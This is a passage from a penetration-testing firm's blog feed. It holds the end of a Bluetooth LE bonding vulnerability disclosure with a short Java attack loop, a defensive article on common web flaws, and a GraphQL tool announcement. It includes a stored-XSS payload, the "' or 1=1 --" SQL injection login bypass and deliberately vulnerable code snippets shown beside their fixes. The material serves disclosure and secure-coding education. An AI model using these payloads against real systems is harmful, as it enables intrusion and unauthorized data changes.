https://substackcdn.com/image/fetch/$s_!Z6AY!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F67aea002-684c-4288-a671-db77e089b240_646x230.png 1272w, https://substackcdn.com/image/fetch/$s_!Z6AY!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F67aea002-684c-4288-a671-db77e089b240_646x230.png 1456w" sizes="100vw" loading="lazy"></picture><div></div></div></a></figure></div><p>The two corner cases developers must pay attention to are the second row and the fourth row. These are the situations in which createBond() returns false. Because the Android API does not clearly indicate whether the key exists on the peripheral side, and because the bonding method behaves in a confusing way, it becomes impossible to reliably distinguish between these two conditions based on the API alone.</p><p>However, there is a practical workaround. By deleting the stored key on the phone, the bonding state shifts into the first or third row conditions. In both of these states, createBond() will return true, which means the bonding process will be retried properly. This ensures that encryption is correctly established, and the communication becomes secure. With this approach, the bonding logic becomes predictable, and the solution works reliably.</p><p>I forwarded my recommendation to the PSIRT team, they implemented my approach and patched the vulnerability successfully.</p><h1>Attack Limitations</h1><p>The effectiveness of the attack becomes limited when the central device attempts to access an authenticated characteristic, because bonding must occur in order to proceed. In such cases, the behavior of createBond() does not affect the outcome. The bonding process will complete as required, and the connection will be properly secured without any issues.</p><h1>Coordinated Vulnerability Disclosure Time Table</h1><ul><li><p>23/06/2020: Vulnerability Found</p></li><li><p>24/06/2020: Vulnerability Report Sent to Nordic&#8217;s PSIRT</p></li><li><p>01/07/2020: Nordic&#8217;s First Patch (only on Android-BLE-Library)</p></li><li><p>02/07/2020: Nordic Confirmed the security bug</p></li><li><p>02/07/2020: Nordic Notified about the insecure patch</p></li><li><p>02/07/2020: CVE Request</p></li><li><p>02/07/2020: CVE Received (CVE-2020&#8211;15509)</p></li><li><p>03/07/2020: Published</p></li></ul><h1>Implementation</h1><p>The attack is implemented with a custom developed tool.</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!QKn9!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5db08622-8c03-493f-96fe-640cec9ac687_700x524.jpeg" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!QKn9!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5db08622-8c03-493f-96fe-640cec9ac687_700x524.jpeg 424w, https://substackcdn.com/image/fetch/$s_!QKn9!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5db08622-8c03-493f-96fe-640cec9ac687_700x524.jpeg 848w, https://substackcdn.com/image/fetch/$s_!QKn9!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5db08622-8c03-493f-96fe-640cec9ac687_700x524.jpeg 1272w, https://substackcdn.com/image/fetch/$s_!QKn9!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5db08622-8c03-493f-96fe-640cec9ac687_700x524.jpeg 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!QKn9!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5db08622-8c03-493f-96fe-640cec9ac687_700x524.jpeg" width="700" height="524" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/5db08622-8c03-493f-96fe-640cec9ac687_700x524.jpeg&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:524,&quot;width&quot;:700,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:&quot;&quot;,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" title="" srcset="https://substackcdn.com/image/fetch/$s_!QKn9!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5db08622-8c03-493f-96fe-640cec9ac687_700x524.jpeg 424w, https://substackcdn.com/image/fetch/$s_!QKn9!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5db08622-8c03-493f-96fe-640cec9ac687_700x524.jpeg 848w, https://substackcdn.com/image/fetch/$s_!QKn9!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5db08622-8c03-493f-96fe-640cec9ac687_700x524.jpeg 1272w, https://substackcdn.com/image/fetch/$s_!QKn9!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5db08622-8c03-493f-96fe-640cec9ac687_700x524.jpeg 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a><figcaption class="image-caption">Prototype &#8212; Mark I &#8212; Custom BLE Assessment Kit, First of its kind.</figcaption></figure></div><p>This is a prototype of a product on which I will launch in the following months.</p><p>The Java SDK is not yet published.</p><p>The attack using the custom SDK and custom Hardware is done in under 5 lines of code. The total program is under 100 lines of code (that little program is based on my own SDK which is around 10k lines of code and a firmware of around 20k LOC).</p><p>Update: I created a slim version of this tool called BLE:bit. It&#8217;s open-source and open-hardware. You can find it here: https://blebit.io</p><p>Update: I closed-sourced the tool and is no longer a public project.</p><pre><code>private static void startNoricAttack(CEController ce) throws Exception
&#9;{
&#9;&#9;for(int i=0; i&lt;100; i++)
&#9;&#9;{
                        selectRandomMac();&#9;&#9;&#9;ce.connect(target, ConnectionTypesCommon.AddressType.RANDOM_STATIC_ADDR);
&#9;&#9;&#9;ce.bondNow(true);
&#9;&#9;&#9;try {Thread.sleep(100);}catch(InterruptedException iex) {}
&#9;&#9;&#9;ce.disconnect(19);
&#9;&#9;&#9;int peer_id = getPeerId();
&#9;&#9;&#9;ce.deletePeerBond(peer_id);
&#9;&#9;}
&#9;}</code></pre>]]></content:encoded></item><item><title><![CDATA[Common Developer Pitfalls: A Guide to Bolstering Security]]></title><description><![CDATA[&#8220;Breaking their Defense&#8221; Series]]></description><link>https://blog.cybervelia.com/p/common-developer-pitfalls-a-guide</link><guid isPermaLink="false">https://blog.cybervelia.com/p/common-developer-pitfalls-a-guide</guid><dc:creator><![CDATA[Theodoros Danos]]></dc:creator><pubDate>Wed, 09 Aug 2023 16:40:00 GMT</pubDate><enclosure url="https://substackcdn.com/image/fetch/$s_!HU3O!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F29595dc0-ad83-488f-9ce6-db755a180f92_1920x1280.jpeg" length="0" type="image/jpeg"/><content:encoded><![CDATA[<div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!HU3O!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F29595dc0-ad83-488f-9ce6-db755a180f92_1920x1280.jpeg" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!HU3O!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F29595dc0-ad83-488f-9ce6-db755a180f92_1920x1280.jpeg 424w, https://substackcdn.com/image/fetch/$s_!HU3O!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F29595dc0-ad83-488f-9ce6-db755a180f92_1920x1280.jpeg 848w, https://substackcdn.com/image/fetch/$s_!HU3O!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F29595dc0-ad83-488f-9ce6-db755a180f92_1920x1280.jpeg 1272w, https://substackcdn.com/image/fetch/$s_!HU3O!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F29595dc0-ad83-488f-9ce6-db755a180f92_1920x1280.jpeg 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!HU3O!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F29595dc0-ad83-488f-9ce6-db755a180f92_1920x1280.jpeg" width="1456" height="971" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/29595dc0-ad83-488f-9ce6-db755a180f92_1920x1280.jpeg&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:971,&quot;width&quot;:1456,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:1434705,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/jpeg&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:false,&quot;topImage&quot;:true,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!HU3O!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F29595dc0-ad83-488f-9ce6-db755a180f92_1920x1280.jpeg 424w, https://substackcdn.com/image/fetch/$s_!HU3O!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F29595dc0-ad83-488f-9ce6-db755a180f92_1920x1280.jpeg 848w, https://substackcdn.com/image/fetch/$s_!HU3O!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F29595dc0-ad83-488f-9ce6-db755a180f92_1920x1280.jpeg 1272w, https://substackcdn.com/image/fetch/$s_!HU3O!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F29595dc0-ad83-488f-9ce6-db755a180f92_1920x1280.jpeg 1456w" sizes="100vw" fetchpriority="high"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p></p><h2>&#8220;Breaking their Defense&#8221; Series</h2><p>In this series dive into the thrilling depths of my role as a penetration tester. Experience the adrenaline-pumping reality of simulating an attacker in real-life engagements, seen through my lens. Discover how I infiltrate what my clients proudly dub their 'digital fortress,' daringly challenging their perception of invincibility. My mission? To uncover not just that I can penetrate their defenses, but to identify and expose every chink in their armor that puts their most valuable asset at risk - information.</p><p><a href="https://blog.cybervelia.com/p/breaking-their-defense-hacking-stories">Previous Article: &#8220;Breaking their Defense - Hacking Stories&#8221;</a></p><div><hr></div><h2>Common Security Bugs</h2><p>Let's dive into the common missteps developers often make - the pitfalls we frequently uncover during our penetration tests. By reading this insightful article filled with mini-stories about various bugs, you'll be able to zero-out the most common errors and bolster your security measures.</p><h3>One to rule them all - Improper Access Controls</h3><p>In our tests, the bug we run into the most is a missing 'Access Control' mechanisms. We often see that web or mobile apps skip crucial checks, letting users (those who aren't supposed to) see information they're not meant to. This usually happens as the folks building the back end of the app believe that if a user can't reach certain information through the normal user screen, they can't get to it at all. At other times, it's simply an oversight.</p><p><strong>IDOR</strong></p><p>The most common type of access control bug is what is called an IDOR (Insecure Direct Object Reference). What&#8217;s that? This is a particular type of bug were the request is based on an ID (the reference). Such ID represents the information to be fetched (the document, the database record, etc). Often, such IDs are predictable. For example, my documents shown through the User-Interface are &#8220;invoice-01.doc&#8221; and &#8220;invoice-02.doc&#8221;. Such documents to be retrieved can be fetched through the endpoint /documents/&lt;doc-id&gt;. The UI retrieves the previously mentioned documents by calling /documents/4145 and /documents/4159 respectively. However, based on the incremental nature of the ID, one could brute-force the range of documents (i.e from 0 to 10000) and retrieve all documents of all users. A proper access control shouldn&#8217;t allow that. Don&#8217;t be fooled by the assumption that the type of interface you are using is safer as that doesn&#8217;t make a difference - GraphQL, RESTful or any other kind of interface. </p><p>Modern apps often use UUIDs, which are unique 128-bit IDs, rather than simple IDs. For instance, a UUID might look like this: '47b3c2cc-3f5c-46d5-a84a-22ae5d3031a4'. It's pretty tough to guess these UUIDs and randomly find a document. But, if someone happens to see the UUID (maybe they peek over your shoulder), they could use it to pull up the document in their own session. So, even though it might seem safer than using simple IDs, it can still be a security issue.</p><p><strong>Unusual  Ones</strong></p><p>Some access controls can be quite unusual. Let me tell you a story. Once, I was working with an app that redirected you to the regular user interface if you tried to go to the admin area. It looked like a good security measure. But was it really?</p><p>What they did was load all the necessary JavaScript libraries for the admin UI without a problem. But before the page started loading any data, it would check with the server if the user was an admin. If yes, it would proceed to load the admin data onto the UI. If no, it would redirect the user back to their regular dashboard.</p><p>But there was a way around this. If we &#8220;skipped&#8221; the admin check and triggered the next steps manually, we could use the full admin UI! How did we do it? We cheated. We didn&#8217;t even had to skip it. We just changed the response from the server that the JavaScript saw. We made it look like the server said we were admins. After all, we control what happens on our side of the screen. That's the nature of client-side code. The issue wasn't with the front-end, it was with the back-end. They relied too heavily on the front-end to handle access control. Remember, access control should ALWAYS be implemented at the back-end.</p><p><strong>Escalation of Privileges</strong></p><p>Access control issues can sometimes lead to a problem known as privilege escalation. This is when a user gains more access rights or powers within a system than they should have. Although it's a big enough issue to talk about on its own, it often comes about because of other missing access controls. So, we're discussing it in this context.</p><p>Let's look at an example using the FastAPI Web Framework. This is a piece of software that changes a user's role within a system:</p><pre><code>@app.post('/change_role')
async def change_role(role: UserRole, current_user: User = Depends(get_current_user)):

    user = User.query.get(role.user_id)
    if not user:
        raise HTTPException(status_code=400, detail='User does not exist')

    if role.new_role not in ['admin', 'user', 'guest']:
        raise HTTPException(status_code=400, detail='Invalid role')

    user.role = role.new_role
    db.session.commit()

    return {'message': 'Role changed successfully'}</code></pre><p>Even if you don't know much about coding, you can see there's a problem. The software doesn't check if a request is coming from a normal user or an admin user. This means a normal user could potentially change their own role and make themselves an admin. Once they've done that, they could go to the admin panel (because the system now thinks they're a real admin), and do anything an admin can do. You have no idea how often we find these kind of vulnerabilities - more often than you may think.</p><p>This simple code could have prevent the worst and fix the vulnerable code mentioned before:</p><pre><code>if current_user.role != 'admin':
        raise HTTPException(status_code=400, detail='Only admins can change roles')</code></pre><p>Now, how can you tackle such problems? Usually, when handling data, you pull it from a database by making requests. You could create a separate request to confirm that the user has the right permissions. Or, you could include proper checks in a single request to ensure the retrieved data is appropriate for the user.</p><p>Take this as an example:</p><p>Missing an access control mechanism:</p><pre><code>app.get('/user/:id', async (req, res) =&gt; {
    const user = await User.findById(req.params.id);
    res.json(user);
});</code></pre><p>An access control mechanism is in-place:</p><pre><code><code>app.get('/user/:id', async (req, res) =&gt; {
[...]
        if(user.role === 'admin' || user.id === req.thisUser.id) {
            const userData = await User.findById(req.params.id); 
            res.json(userData); // Return user data
        } else {
            return res.sendStatus(403);
        }
[...]</code></code></pre><h3>Injections</h3><p>Injections are the second type of common misconfiguration. Injections is a generic category, an umbrella of specific injection vulnerabilities, which among others are &#8220;SQL and NoSQL Injection&#8221;, &#8220;XSS Injection&#8221;, &#8220;Command Injection&#8221;, &#8220;Code Injection&#8221; and more. The most common injections are the SQL and NoSQL Injections as well as XSS Injections.</p><h4>Cross-Site Scripting</h4><p>XSS vulnerabilities are also among the common ones. Such vulnerability deserves a category on its own but I have placed the vulnerability class under &#8220;injections&#8221; as the most usual XSS Vulnerabilities were raised through data injected by the attacker.</p><p>XSS vulnerabilities, meaning Cross-Site Scripting, is when an attacker injects a piece of client-side code which will be somehow called on the other user&#8217;s browser. Then, the code can steal the cookies that sets the session or even execute actions on behalf of the user by making requests to the server through the victim&#8217;s browser. This type of attack mostly happens on web applications where the browser is involved. </p><p>Here is an example of a vulnerable PHP Code snippet that lists the user&#8217;s usernames:</p><pre><code>&lt;?php
[...]
$result = $db-&gt;query("SELECT * FROM users");

echo "&lt;ul&gt;";
while ($row = $result-&gt;fetch_assoc()) {
    echo "&lt;li&gt;" . $row['username'] . "&lt;/li&gt;";
}

echo "&lt;/ul&gt;";
[...]
?&gt;</code></pre><p>Then the attacker could change their own username and place the following payload instead:</p><pre><code>&lt;script&gt;users.deleteUser(30)&lt;/script&gt;John</code></pre><p>If the listing shown in administrator&#8217;s page, it will delete the user having ID 30. If listed on a normal user&#8217;s screen nothing will happen. In either case, the username list will include the username too, hiding the malicious code that has been executed.</p><h4>SQL and NoSQL Injections</h4><p>SQL and NoSQL Injections happen when an attacker manages to mix their own input with a database query. This usually happens when the system takes user data, doesn't properly sanitize it, and then includes it in a database request. The user could potentially alter the database query in ways that weren't planned by the application developers. So, it's very important to always clean the data first.</p><p>Many people these days use Object-Relational Mapping (ORM), which is a safer way to query databases. But when developers have to make their own custom queries, they often use prepared statements to keep things secure.</p><p>However, even with these tools, the most important factor is educating developers about security. For instance, I once found a blind SQL Injection attack that let me pull all the data from a database. I immediately let the customer know about this critical problem. I worked closely with their team to help fix it, and they told me it was resolved. But when I checked again, the problem was still there. They insisted they had used prepared statements, a recommended secure practice. But how they had used them showed that they hadn't been properly trained in writing secure code.</p><p>Here is a classic payload example that may bypass your login function. The following can be put into the password field:</p><pre><code>' or 1=1 --</code></pre><p>I won't go into detail explaining SQL Injections here, as it's a well-known example and you can easily find explanations online.</p><p>If you rush to try this on your own app and it doesn't work, don't be misled. SQL Injection is almost like a science. We usually test a wide range of attack strategies based on the information we have, such as the type of database, any firewall rules, and more. Remember, the attack strategy can be changed over and over, depending on how the app responds.</p><p>Want to keep safe from SQL Injections? You can use prepared statements or an Object-Relational Mapping (ORM) model. But that's not enough. You should really understand the tools you're using. Don't just copy and paste code that seems to work without fully grasping what it does. Consider taking courses that focus on how to code securely. This way, you won't just know what functions to use, but also how to use them properly. Even then, you can reach out to us to make sure the code pass the penetration tests!</p><h3>Let me upload a file</h3><p>Many web applications we test allow users to upload files. If the file upload feature isn't designed carefully, it can lead to big problems.</p><p>In many cases, uploaded files are stored on the same web server that hosts the application code (this is common with PHP or ASP). So, if the application code is in a folder named /controller/&lt;code-file.ext&gt;, the files might be stored under /files/&lt;uploaded-file.ext&gt;. How these files are treated - whether they're run as code or offered for download - depends on their file type, and that's decided by the web server when a request is made.</p><p>An attack using this vulnerability typically happens in two stages. First, a user uploads a file. Then, the user (or someone else) downloads that file, which triggers the server to do something with it. Attackers target the upload process to trick the web server into treating the uploaded file as executable code rather than a file for download (for example, uploading a PHP file instead of an image).</p><p>Once a user runs code that an attacker uploaded, it's basically all over. The server's interpreter runs the attacker's code just like it would any other part of the application.</p><p>There's no one-size-fits-all solution to this, but a good start is to use the secure file upload features that most web frameworks offer. If your application runs on the web server's interpreter, you could also consider these defensive steps:</p><p>Firstly, always change the permissions of the upload path to make it non-executable. This helps prevent remote code execution, even if a vulnerability is found.</p><p>Secondly, move the upload directory to a location that isn't accessible to an attacker, like /uploads/ instead of /var/www/html/uploads. Even if an attacker finds a vulnerability (which they shouldn't), they can't run the file because they can't ask the web server to download it. To allow downloads in this setup, you'd need to manually read the file and send it to the user, including the correct HTTP headers.</p><div><hr></div><h3>You are not untouchable</h3><p>Some folks believe they're untouchable, writing code that's as secure as Fort Knox. But guess what? Eventually they get hacked! The best way to truly gauge your coding skills is to get a penetration test done. Let us find the loopholes in your system before someone else does. Above all, stay informed about the latest tech threats and how to guard against them.</p><p><strong>Contact us now to talk about penetration testing or whatever else might bothering you. </strong></p><p>White Hat Hackers are here to help you, so take advantage of us!</p><p>You can find our our offered services at <a href="https://cybervelia.com/">https://cybervelia.com/</a></p><p class="button-wrapper" data-attrs="{&quot;url&quot;:&quot;https://cybervelia.com/contact&quot;,&quot;text&quot;:&quot;Contact us now!&quot;,&quot;action&quot;:null,&quot;class&quot;:null}" data-component-name="ButtonCreateButton"><a class="button primary" href="https://cybervelia.com/contact"><span>Contact us now!</span></a></p>]]></content:encoded></item><item><title><![CDATA[Graphicator Tool!]]></title><description><![CDATA[Release of our new GraphQL tool named Graphicator]]></description><link>https://blog.cybervelia.com/p/graphicator-tool</link><guid isPermaLink="false">https://blog.cybervelia.com/p/graphicator-tool</guid><dc:creator><![CDATA[Theodoros Danos]]></dc:creator><pubDate>Sun, 21 May 2023 17:55:13 GMT</pubDate><enclosure url="https://substackcdn.com/image/fetch/$s_!1dZ2!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb3498468-0fe2-49a1-9a7f-e8a0b4a750a4_640x326.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>Recently we released a tool named Graphicator!<br><br>Graphicator serves as a dynamic GraphQL 'scraper' or extractor. This tool traverses the introspection document returned by the target GraphQL endpoint, and subsequently restructures the schema into an internal format. This reorganization enables Graphicator to recreate the supported queries effectively. Once these queries are formulated, it leverages them to dispatch requests to the endpoint, diligently capturing and saving the resulting responses into a dedicated file.<br><br>It operates akin to 'downloading' the responses for all GraphQL queries. It's designed to handle multiple targets effectively, caches results for increased efficiency, and adeptly skips while reporting any erroneous queries. Furthermore, it is equipped with the capability to support custom headers, a crucial feature for authenticated endpoints.<br><br>Ever since its release, our tool has earned prestigious mentions in numerous podcasts, posts, and has been featured on a multitude of prominent cybersecurity websites. This wide-reaching recognition brings us immense joy and fuels our commitment to continue delivering exceptional tools to our community!<br><br>You may find it below:</p><p><a href="https://github.com/cybervelia/graphicator">https://github.com/cybervelia/graphicator</a></p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!1dZ2!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb3498468-0fe2-49a1-9a7f-e8a0b4a750a4_640x326.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!1dZ2!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb3498468-0fe2-49a1-9a7f-e8a0b4a750a4_640x326.png 424w, https://substackcdn.com/image/fetch/$s_!1dZ2!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb3498468-0fe2-49a1-9a7f-e8a0b4a750a4_640x326.png 848w, https://substackcdn.com/image/fetch/$s_!1dZ2!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb3498468-0fe2-49a1-9a7f-e8a0b4a750a4_640x326.png 1272w, https://substackcdn.com/image/fetch/$s_!1dZ2!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb3498468-0fe2-49a1-9a7f-e8a0b4a750a4_640x326.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!1dZ2!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb3498468-0fe2-49a1-9a7f-e8a0b4a750a4_640x326.png" width="640" height="326" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/b3498468-0fe2-49a1-9a7f-e8a0b4a750a4_640x326.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:326,&quot;width&quot;:640,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:96540,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:false,&quot;topImage&quot;:true,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!1dZ2!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb3498468-0fe2-49a1-9a7f-e8a0b4a750a4_640x326.png 424w, https://substackcdn.com/image/fetch/$s_!1dZ2!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb3498468-0fe2-49a1-9a7f-e8a0b4a750a4_640x326.png 848w, https://substackcdn.com/image/fetch/$s_!1dZ2!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb3498468-0fe2-49a1-9a7f-e8a0b4a750a4_640x326.png 1272w, https://substackcdn.com/image/fetch/$s_!1dZ2!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb3498468-0fe2-49a1-9a7f-e8a0b4a750a4_640x326.png 1456w" sizes="100vw" fetchpriority="high"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 